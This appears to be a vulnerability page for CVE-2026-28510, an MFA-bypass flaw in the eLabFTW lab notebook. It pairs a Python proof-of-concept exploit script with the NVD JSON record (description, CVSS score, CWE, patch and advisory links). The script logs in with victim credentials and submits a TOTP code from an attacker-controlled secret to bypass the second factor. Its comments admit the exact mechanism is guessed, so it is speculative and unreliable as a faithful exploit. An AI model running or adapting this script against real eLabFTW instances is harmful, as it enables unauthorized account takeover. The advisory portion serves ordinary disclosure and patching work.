CVE-2026-28510

import requests import pyotp # Target configuration target_url = "https://target-elabftw-instance.com" login_endpoint = f"{target_url}/login" mfa_endpoint = f"{target_url}/api/v2/mfa/verify" # Victim credentials (Attacker must have these first) victim_username = "victim_user" victim_password = "victim_password" # Attacker's controlled TOTP secret attacker_secret = "JBSWY3DPEHPK3PXP" totp = pyotp.TOTP(attacker_secret) current_code = totp.now() session = requests.Session() # Step 1: Perform initial login with primary credentials login_payload = { "username": victim_username, "password": victim_password } response = session.post(login_endpoint, data=login_payload) if response.status_code == 200: # Step 2: Exploit the MFA bypass logic # The vulnerability allows submitting a TOTP code generated from an attacker-controlled secret # because the application fails to preserve the correct MFA state binding. mfa_payload = { "code": current_code, # Depending on the specific implementation, the attacker might also need to supply # the secret or the session might accept any valid TOTP format due to state loss. } mfa_response = session.post(mfa_endpoint, json=mfa_payload) if mfa_response.status_code == 200: print("[+] Exploit successful: MFA bypassed.") else: print("[-] Exploit failed.") else: print("[-] Initial login failed.")

{"cve": {"id": "CVE-2026-28510", "sourceIdentifier": "[email protected]", "published": "2026-05-05T13:16:28.667", "lastModified": "2026-05-12T13:58:22.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "eLabFTW is an open source electronic lab notebook. In elabftw versions through 5.4.1, the login flow did not reliably preserve the multi-factor authentication state across authentication steps. Under certain conditions, an attacker with valid primary credentials could complete authentication with an attacker-controlled TOTP secret and bypass the additional factor. This could result in unauthorized account access. This issue is fixed in version 5.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-302"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elabftw:elabftw:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.2", "matchCriteriaId": "593B8947-A7C6-4FA6-8D3F-E6001CB0C8E5"}]}]}], "references": [{"url": "https://github.com/elabftw/elabftw/commit/8b7a575aef128870861187eaa2b2f0f08654ecf9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elabftw/elabftw/security/advisories/GHSA-x5wv-c9q4-fj65", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}